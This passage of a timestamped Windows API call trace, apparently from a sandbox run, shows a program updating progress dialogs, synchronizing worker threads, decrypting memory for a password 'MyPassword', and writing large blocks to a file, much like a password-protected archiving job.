GetWindowTextW (in: hWnd=0x1022e, lpString=0x1bbcd0, nMaxCount=2560 | out: lpString=" 4%") returned 5 [0059.928] SetWindowTextW (hWnd=0x1022e, lpString=" 49%") returned 1 [0059.928] GetLastError () returned 0x0 [0059.929] SetLastError (dwErrCode=0x0) [0059.929] GetDlgItem (hDlg=0x1020e, nIDDlgItem=164) returned 0x1022a [0059.929] GetWindowTextW (in: hWnd=0x1022a, lpString=0x1bbcd0, nMaxCount=2560 | out: lpString=" 92%") returned 5 [0059.929] SetWindowTextW (hWnd=0x1022a, lpString=" 13%") returned 1 [0059.929] SendMessageW (hWnd=0x10230, Msg=0x402, wParam=0x31, lParam=0x0) returned 0x4 [0059.929] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 1 [0059.929] GetMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd5b0) returned 1 [0059.929] GetFocus () returned 0x10232 [0059.929] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd5b0) returned 1 [0059.929] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 1 [0059.929] GetMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd5b0) returned 1 [0059.929] GetFocus () returned 0x10232 [0059.929] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd5b0) returned 1 [0059.929] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.930] ResetEvent (hEvent=0x1a4) returned 1 [0059.930] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.933] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.933] ResetEvent (hEvent=0x1a4) returned 1 [0059.933] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.937] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.937] ResetEvent (hEvent=0x1a4) returned 1 [0059.937] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.940] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.940] ResetEvent (hEvent=0x1a4) returned 1 [0059.940] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.942] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.942] ResetEvent (hEvent=0x1a4) returned 1 [0059.942] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.945] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.945] ResetEvent (hEvent=0x1a4) returned 1 [0059.945] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.947] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.947] ResetEvent (hEvent=0x1a4) returned 1 [0059.947] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.950] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.950] ResetEvent (hEvent=0x1a4) returned 1 [0059.950] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.953] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.953] ResetEvent (hEvent=0x1a4) returned 1 [0059.953] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.957] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.957] ResetEvent (hEvent=0x1a4) returned 1 [0059.957] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.961] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.961] ResetEvent (hEvent=0x1a4) returned 1 [0059.961] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.963] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.963] ResetEvent (hEvent=0x1a4) returned 1 [0059.963] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.967] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.967] ResetEvent (hEvent=0x1a4) returned 1 [0059.967] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.971] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.971] ResetEvent (hEvent=0x1a4) returned 1 [0059.971] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.974] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.974] ResetEvent (hEvent=0x1a4) returned 1 [0059.974] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.977] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.977] ResetEvent (hEvent=0x1a4) returned 1 [0059.978] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.981] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.982] ResetEvent (hEvent=0x1a4) returned 1 [0059.982] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0060.076] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0061.086] ResetEvent (hEvent=0x1a4) returned 1 [0061.086] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.086] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0061.140] ResetEvent (hEvent=0x190) returned 1 [0061.140] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.140] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0061.141] ResetEvent (hEvent=0x190) returned 1 [0061.141] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.141] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0061.144] PeekMessageW (in: lpMsg=0x1bd2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd2b0) returned 1 [0061.145] GetMessageW (in: lpMsg=0x1bd240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd240) returned 1 [0061.145] GetFocus () returned 0x10232 [0061.145] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd240) returned 1 [0061.145] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0061.145] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd340*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd340*=0) returned 0xa18d1 [0061.145] SetFilePointer (in: hFile=0x198, lDistanceToMove=103, lpDistanceToMoveHigh=0x1bd310*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd310*=0) returned 0xa1938 [0061.145] CryptUnprotectMemory (in: pDataIn=0x1bd1c0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bd1c0) returned 1 [0061.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1bd140, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0061.145] CryptUnprotectMemory (in: pDataIn=0x1bcba0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcba0) returned 1 [0061.145] CryptUnprotectMemory (in: pDataIn=0x1bcca0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcca0) returned 1 [0061.145] CryptUnprotectMemory (in: pDataIn=0x1bce20, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1bce20) returned 1 [0061.146] ResetEvent (hEvent=0x190) returned 1 [0061.146] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.146] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0061.147] ResetEvent (hEvent=0x190) returned 1 [0061.147] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.147] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0061.149] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x1bd340, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd340*=0x40000, lpOverlapped=0x0) returned 1 [0061.153] PeekMessageW (in: lpMsg=0x1bd2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd2b0) returned 1 [0061.153] GetMessageW (in: lpMsg=0x1bd240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd240) returned 1 [0061.153] GetFocus () returned 0x10232 [0061.153] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd240) returned 1 [0061.153] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0061.153] ResetEvent (hEvent=0x190) returned 1 [0061.153] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.154] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0061.154] ResetEvent (hEvent=0x190) returned 1 [0061.154] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.154] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0061.155] ResetEvent (hEvent=0x1a4) returned 1 [0061.155] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.155] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0061.180] ResetEvent (hEvent=0x190) returned 1 [0061.180] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.180] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0061.181] ResetEvent (hEvent=0x190) returned 1 [0061.181] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.181] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0061.183] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x1bd340, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd340*=0x40000, lpOverlapped=0x0) returned 1 [0061.188] PeekMessageW (in: lpMsg=0x1bd2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd2b0) returned 1 [0061.188] GetMessageW (in: lpMsg=0x1bd240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd240) returned 1 [0061.188] GetFocus () returned 0x10232 [0061.188] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd240) returned 1 [0061.188] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0061.188] ResetEvent (hEvent=0x190) returned 1 [0061.188] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.188] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0061.190] ResetEvent (hEvent=0x190) returned 1 [0061.190] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.190] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0061.193] ResetEvent (hEvent=0x1a4) returned 1 [0061.193] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.193] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0061.233] ResetEvent (hEvent=0x190) returned 1 [0061.233] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.233] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0061.235] ResetEvent (hEvent=0x190) returned 1 [0061.235] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.235] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0061.237] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x1bd340, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd340*=0x40000, lpOverlapped=0x0) returned 1 [0061.241] PeekMessageW (in: lpMsg=0x1bd2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd2b0) returned 1 [0061.241] GetMessageW (in: lpMsg=0x1bd240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd240) returned 1 [0061.241] GetFocus () returned 0x10232 [0061.241] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd240) returned 1 [0061.241] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0061.241] ResetEvent (hEvent=0x1a4) returned 1 [0061.241] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.241] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0061.267] ResetEvent (hEvent=0x190) returned 1 [0061.267] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.267] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0061.268] ResetEvent (hEvent=0x190) returned 1 [0061.268] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.268] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0061.271] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x1bd340, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd340*=0x40000, lpOverlapped=0x0) returned 1 [0061.274] PeekMessageW (in: lpMsg=0x1bd2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd2b0) returned 1 [0061.274] GetMessageW (in: lpMsg=0x1bd240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd240) returned 1 [0061.274] GetFocus () returned 0x10232 [0061.274] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd240) returned 1 [0061.275] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0061.275] ResetEvent (hEvent=0x190) returned 1 [0061.275] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.275] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0061.276] ResetEvent (hEvent=0x190) returned 1 [0061.276] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.276] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0061.277] ResetEvent (hEvent=0x1a4) returned 1 [0061.277] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.277] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0061.314] ResetEvent (hEvent=0x190) returned 1 [0061.314] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.314] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0061.315] ResetEvent (hEvent=0x190) returned 1 [0061.315] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.315] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0061.317] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x1bd340, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd340*=0x40000, lpOverlapped=0x0) returned 1 [0061.320] PeekMessageW (in: lpMsg=0x1bd2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd2b0) returned 1 [0061.320] GetMessageW (in: lpMsg=0x1bd240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd240) returned 1 [0061.320] GetFocus () returned 0x10232 [0061.320] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd240) returned 1 [0061.320] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0061.320] ResetEvent (hEvent=0x190) returned 1 [0061.320] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.321] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0061.321] ResetEvent (hEvent=0x190) returned 1 [0061.321] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.321] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0061.323] ResetEvent (hEvent=0x190) returned 1 [0061.323] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.323] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0061.324] ResetEvent (hEvent=0x190) returned 1 [0061.324] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.324] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0061.325] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x1bd340, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd340*=0x40000, lpOverlapped=0x0) returned 1 [0061.330] PeekMessageW (in: lpMsg=0x1bd2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd2b0) returned 1 [0061.330] GetMessageW (in: lpMsg=0x1bd240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd240) returned 1 [0061.330] GetFocus () returned 0x10232 [0061.330] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd240) returned 1 [0061.331] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0061.331] ResetEvent (hEvent=0x1a4) returned 1 [0061.331] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.331] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0061.365] ResetEvent (hEvent=0x190) returned 1 [0061.365] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.365] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0061.366] ResetEvent (hEvent=0x190) returned 1 [0061.366] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.366] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0061.367] ResetEvent (hEvent=0x190) returned 1 [0061.367] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.367] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0061.368] ResetEvent (hEvent=0x190) returned 1 [0061.368] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.368] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0061.370] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x1bd340, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd340*=0x40000, lpOverlapped=0x0) returned 1 [0061.374] PeekMessageW (in: lpMsg=0x1bd2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd2b0) returned 1 [0061.374] GetMessageW (in: lpMsg=0x1bd240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd240) returned 1 [0061.374] GetFocus () returned 0x10232 [0061.374] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd240) returned 1 [0061.374] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0061.374] ResetEvent (hEvent=0x190) returned 1 [0061.374] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.374] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0061.375] ResetEvent (hEvent=0x190) returned 1 [0061.375] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.375] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0061.376] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x1bd340, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd340*=0x40000, lpOverlapped=0x0) returned 1 [0061.379] PeekMessageW (in: lpMsg=0x1bd2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd2b0) returned 1 [0061.380] GetMessageW (in: lpMsg=0x1bd240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd240) returned 1 [0061.380] GetFocus () returned 0x10232 [0061.380] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd240) returned 1 [0061.380] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0061.380] ResetEvent (hEvent=0x1a4) returned 1 [0061.380] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.380] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0061.432] ResetEvent (hEvent=0x190) returned 1 [0061.432] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.432] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0061.433] ResetEvent (hEvent=0x190) returned 1 [0061.433] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.433] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0061.434] ResetEvent (hEvent=0x190) returned 1 [0061.434] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.434] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0061.434] ResetEvent (hEvent=0x190) returned 1 [0061.434] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.434] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0061.436] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x1bd340, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd340*=0x40000, lpOverlapped=0x0) returned 1 [0061.439] PeekMessageW (in: lpMsg=0x1bd2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd2b0) returned 1 [0061.439] GetMessageW (in: lpMsg=0x1bd240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd240) returned 1 [0061.439] GetFocus () returned 0x10232 [0061.439] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd240) returned 1 [0061.439] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0061.439] ResetEvent (hEvent=0x190) returned 1 [0061.439] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.439] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0061.440] ResetEvent (hEvent=0x190) returned 1 [0061.440] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.440] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0061.441] ResetEvent (hEvent=0x190) returned 1 [0061.441] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.441] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0061.442] ResetEvent (hEvent=0x190) returned 1 [0061.442] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.442] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0061.443] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, 